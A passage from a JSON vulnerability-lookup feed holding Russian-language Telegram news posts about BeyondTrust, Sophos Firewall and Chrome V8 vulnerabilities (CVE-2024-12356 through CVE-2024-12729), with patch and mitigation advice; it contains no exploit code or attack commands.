\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0438 \u043f\u0440\u0438\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u0432 \u0442\u043e\u0442 \u0436\u0435 \u0434\u0435\u043d\u044c, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b SaaS-\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438.\n\n\u041f\u043e\u043a\u0430 \u043d\u0435\u044f\u0441\u043d\u043e, \u0441\u043c\u043e\u0433\u043b\u0438 \u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b SaaS-\u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442.\n\n\u041d\u043e \u0437\u0430\u0442\u043e \u0432 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: \u043e\u0434\u043d\u0443 16 \u0434\u0435\u043a\u0430\u0431\u0440\u044f \u0438 \u0434\u0440\u0443\u0433\u0443\u044e 18 \u0447\u0438\u0441\u043b\u0430.\n\n\u041f\u0435\u0440\u0432\u0430\u044f CVE-2024-12356 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434, \u0432\u043b\u0438\u044f\u044e\u0449\u0443\u044e \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Remote Support (RS) \u0438 Privileged Remote Access (PRA).\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, CVE-2024-12686, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432 \u0442\u0435\u0445 \u0436\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043e\u0431\u044a\u0435\u043a\u0442.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u044f\u0432\u043d\u043e \u043d\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u044d\u0442\u0438 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 0-day \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c BeyondTrust \u0438\u043b\u0438 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435  \u0441\u0432\u043e\u0435\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a \u0434\u043b\u044f \u043e\u0445\u0432\u0430\u0442\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432.\n\n\u041d\u043e \u044d\u0442\u043e \u0432\u043f\u043e\u043b\u043d\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f, \u0434\u0430\u0436\u0435 \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0432 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u0445 \u043f\u043e \u043d\u0438\u043c \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442.\n\nBeyondTrust \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445, \u043d\u043e \u0442\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0410 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 \u0442\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f.", "creation_timestamp": "2024-12-20T12:20:05.000000Z"}, {"uuid": "40ad4958-ad41-410e-8ddd-c9811903d91d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://t.me/true_secator/6568", "content": "Sophos \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0442\u0440\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 Sophos Firewall, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 SSH-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 Sophos Firewall \u0432\u0435\u0440\u0441\u0438\u0438 21.0 GA (21.0.0) \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432 \u043d\u043e\u0432\u044b\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a:\n\n- CVE-2024-12727: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b. \u0415\u0441\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f Secure PDF eXchange (SPX) \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 (HA), \u043e\u043d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0442\u0447\u0435\u0442\u043e\u0432, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE.\n\n- CVE-2024-12728: \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u043d\u0435\u0441\u043b\u0443\u0447\u0430\u0439\u043d\u0430\u044f \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u0444\u0440\u0430\u0437\u0430 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 SSH \u0434\u043b\u044f \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u043a\u043b\u044e\u0447\u0435\u043d SSH, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437-\u0437\u0430 \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n- CVE-2024-12729: \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 User Portal. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043f\u043e \u0438\u0445 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0437\u0434\u0435\u0441\u044c -\u00a0KBA-000010084.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Sophos \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0434\u043b\u044f \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044f \u0440\u0438\u0441\u043a\u043e\u0432, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 CVE-2024-12728 \u0438 CVE-2024-12729, \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f CVE-2024-12728 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u043e SSH \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c \u043a\u0430\u043d\u0430\u043b\u043e\u043c HA, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u0434\u0435\u043b\u0435\u043d \u043e\u0442 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u0438 \u043f\u0435\u0440\u0435\u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0443 HA, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043b\u0438\u043d\u043d\u0443\u044e \u0438 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u0443\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0443\u044e \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u0443\u044e \u0444\u0440\u0430\u0437\u0443.\n\n\u0414\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043e\u0431\u044b\u0447\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c SSH \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 WAN \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Sophos Central \u0438\u043b\u0438 VPN.\n\n\u0414\u043b\u044f \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439 CVE-2024-12729 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0440\u0442\u0430\u043b\u0430 \u0438 \u0432\u0435\u0431-\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0438\u0437 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.", "creation_timestamp": "2024-12-23T15:40:05.000000Z"}, {"uuid": "9b43de34-685f-4f4c-bc07-4ce1b749cb50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12693", "type": "seen", "source": "https://t.me/true_secator/6560", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 131 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0432\u0438\u0436\u043e\u043a JavaScript V8.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12692, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 55 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e \u043d\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0442\u0430\u043a\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE).\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 BugBounty, - \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12693 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0435\u0435 \u0433\u0440\u0430\u043d\u0438\u0446, \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 20\u00a0000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 